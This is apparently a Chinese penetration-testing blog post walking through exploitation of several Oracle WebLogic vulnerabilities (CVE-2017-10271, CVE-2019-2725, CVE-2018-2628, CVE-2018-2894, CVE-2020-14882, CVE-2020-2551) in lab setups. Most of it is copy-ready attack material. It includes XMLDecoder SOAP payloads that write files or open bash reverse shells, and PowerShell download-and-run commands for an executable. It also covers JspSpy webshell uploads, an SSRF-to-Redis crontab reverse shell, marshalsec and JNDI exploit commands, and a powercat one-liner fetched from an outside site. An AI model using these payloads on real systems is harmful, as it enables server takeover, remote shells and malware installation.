免责声明
下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.htm
3、查看相关概要后继续下一步
15、填入账号密码后成功开启 Weblogic
java -jar fmw_12.1.3.0.0_wls.jar
该漏洞不仅存在于/wls-wsat/CoordinatorPortType中,只要是在wls-wsat包中的URI均受到影响在web.xml可找到所有受影响的 URL 路径。
经整理后受到影响的路径包括如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
构造 HTTP 请求包如下,需要注意的是Content-Type应改为text/xml,否则会导致 XMLDecoder 不解析。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.105:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 642
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/mac.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问http://192.168.0.105:7001/bea_wls_internal/mac.jsp,成功输出hello
同时在目标靶机中已存在该文件
需要注意的是如果`Windows Defender`开启状态下,尽管文件存在,但是无法访问到写入的 jsp 文件
1、win+R 输入 gpedit.msc
2、依次点击展开计算机策略→管理模板→Windows组件→Windows Defender
3、禁用 Windows Defender
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.107:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.0.50/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
python -m SimpleHTTPServer 80
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.105:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 897
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.0.100/mac.exe','mac.exe');start-process mac.exe</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
} });
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException("Parser Exception", var7);
} }
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/mac.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
10.*
12.1.3
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start" />
</new>
</java>
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
oracle.toplink.internal.sessions.UnitOfWorkChangeSet
public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException {
java.io.ByteArrayInputStream byteIn = new java.io.ByteArrayInputStream(bytes);
ObjectInputStream objectIn = new ObjectInputStream(byteIn);
//bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets
allChangeSets = (IdentityHashtable)objectIn.readObject();
deletedObjects = (IdentityHashtable)objectIn.readObject();
}
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.0.107:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.0.100/JspSpy.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/mac.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
Ninty
可进入管理<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.0.50/6666 0>&1
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.0.100/mac.exe','mac.exe');start-process mac.exe</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
漏洞修复
10.3.*版本:
\Middleware\wlserver_10.3\server\lib\
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\
12.1.3版本:
\Middleware\Oracle_Home\oracle_common\modules\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
注:
wls9_async_response.war及wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle 官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题,将无法得到Oracle产品部门的技术支持。请用户自行进行影响评估,并对此文件进行备份后再执行此操作。
WLS Core Components反序列化漏洞(CVE-2018-2628)
- 10.3.6.0
- 12.1.3.0、12.2.1.2-3
https://github.com/0xn0ne/weblogicScanner
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d
使用工具检测是否存在 CVE-2018-2628 漏洞,结果显示目标存在该漏洞
python CVE-2018-2628-poc.py 192.168.0.107 7001
python CVE-2018-2628-Getshell.py 192.168.0.102 7001 shell1.jsp
http://192.168.0.107:7001/bea_wls_internal/shell1.jsp?tom=d2hvYW1pCg==,成功执行命令
其中的d2hvYW1pCg==为 base64 编码,解码后是whoami命令
但是该工具只适合在 Linux 下执行,在 Windows 下执行能够直接上传文件,但访问会返回500
因此目标如果是 Windows,可利用 K8 工具来上传shell
利用脚本执行连接上传的 shell
python cve-2018-2628.py
> http://192.168.0.105:7001/bea_wls_internal/wlscmd.jsp
任意文件上传漏洞(CVE-2018-2894)
10.3.6
12.1.3、12.2.1.2、12.2.1.3
在后台中未发现/ws_utc/begin.do和/ws_utc/config.do这两个界面,需要在配置中开启 web 服务测试页后才能够访问,点击保存并激活更改后重启 Weblogic
重启完成后成功访问界面/ws_utc/begin.do,但仍然需要身份验证,这是生产模式和开发模式的区别,输入账号密码后进入 web 测试页面,其中没有文件上传口,说明生产模式下不存在该漏洞
把 Weblogic 修改为开发模式后,访问/ws_utc/begin.do界面
成功找到文件上传点,在其中直接上传文件
抓包后发现其中存在安全配置,虽然在返回包中能看到相应的路径,但是无法访问,当然这里其实是可以上传的,在后面 vulhub 中的实例会解答
进入/ws_utc/config.do界面
将当前文件目录修改为
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css后提交
在安全选项中点击添加并选择木马尝试上传
提交后查看页面源码,成功发现其中的id,它对应的其实就是时间戳
sudo docker-compose logs | grep password
进入控制台后还是和之前一样开启 web 测试页
保存后访问ws_utc/begin.do,在其中上传木马
使用 BurpSuite 成功抓取到文件上传数据包如下:
虽然显示 500 错误,但是在响应包中存在路径/ws_utc/css/upload/RS_Upload_2021-12-05_18-22-05_785/import_file_name_JspSpy.jsp,还是出现和上面一样的问题,但其实我们只需要设置上传路径即可解决这个问题。进入/ws_utc/config.do界面,设置当前工作目录为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
重发木马上传请求包,在响应中返回路径发生变化
该路径就是config.do界面中设置的工作目录,访问
/ws_utc/css/upload/RS_Upload_2021-12-05_18-37-15_307/import_file_name_JspSpy.jsp
发现木马已存在
而config.do的利用与以上 Windows 环境一样,在安全中设置keystore并点击提交
查看页面源代码找到对应 id
访问/ws_utc/css/config/keystore/1638727126207_JspSpy.jsp,成功getshell
10.0.2
10.3.6
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/172.24.0.1/6666 0>&1'\n\n\n\n"config set dir /etc/config set dbfilename crontabsave
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.24.0.1%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
docker ps
docker exec -it 7704 bash
cd /etc/
cat crontab
nc -nvlp 6666
10.3.6.0.0
12.1.3.0.0、12.2.1.3.0、12.2.1.4.0
14.1.1.0.0
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
/console/images/%252E%252E%252Fconsole.portal
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/mac.txt%27);%22);
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.0.50/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
python -m SimpleHTTPServer 80
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.0.101/poc-bash.xml")
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc.exe]]></value>
</list>
</constructor-arg>
</bean>
</beans>
/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.0.101/poc-calc.xml")
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.0.106/mac.exe','mac.exe');start-process mac.exe]]></value>
</list>
</constructor-arg>
</bean>
</beans>
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
javac exp.java -source 1.6 -target 1.6
## 启动web服务
python -m SimpleHTTPServer 80 或
python3 -m http.server 80
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.50/#exp" 1099
java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.50:1099/exp
java -jar weblogic_CVE_2020_2551.jar 192.168.0.111 7001 rmi://192.168.0.50:1099/exp
java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c","(new-object System.Net.WebClient).DownloadFile('http://192.168.0.106/mac.exe','mac.exe');start-process mac.exe"});
javac exp.java -source 1.6 -target 1.6
python -m SimpleHTTPServer 80
java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.50:1099/exp
IEX (New-Object System.Net.Webclient).DownloadString('http://www.naturali5r.cn/powercat.ps1'); powercat -c 192.168.121.1 -p 6666 -e cmd
https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11
java -jar JNDIExploit-v1.11.jar -i 192.168.0.106
/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.0;106:1389/Basic/WeblogicEcho;AdminServer%22)
powershell /c (new-object System.Net.WebClient).DownloadFile('http://192.168.0.106/mac.exe','mac.exe');start-process mac.exe
2.禁止启用 IIOP 协议。登陆 Weblogic 控制台,找到启用 IIOP 选项,取消勾选后重启生效
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读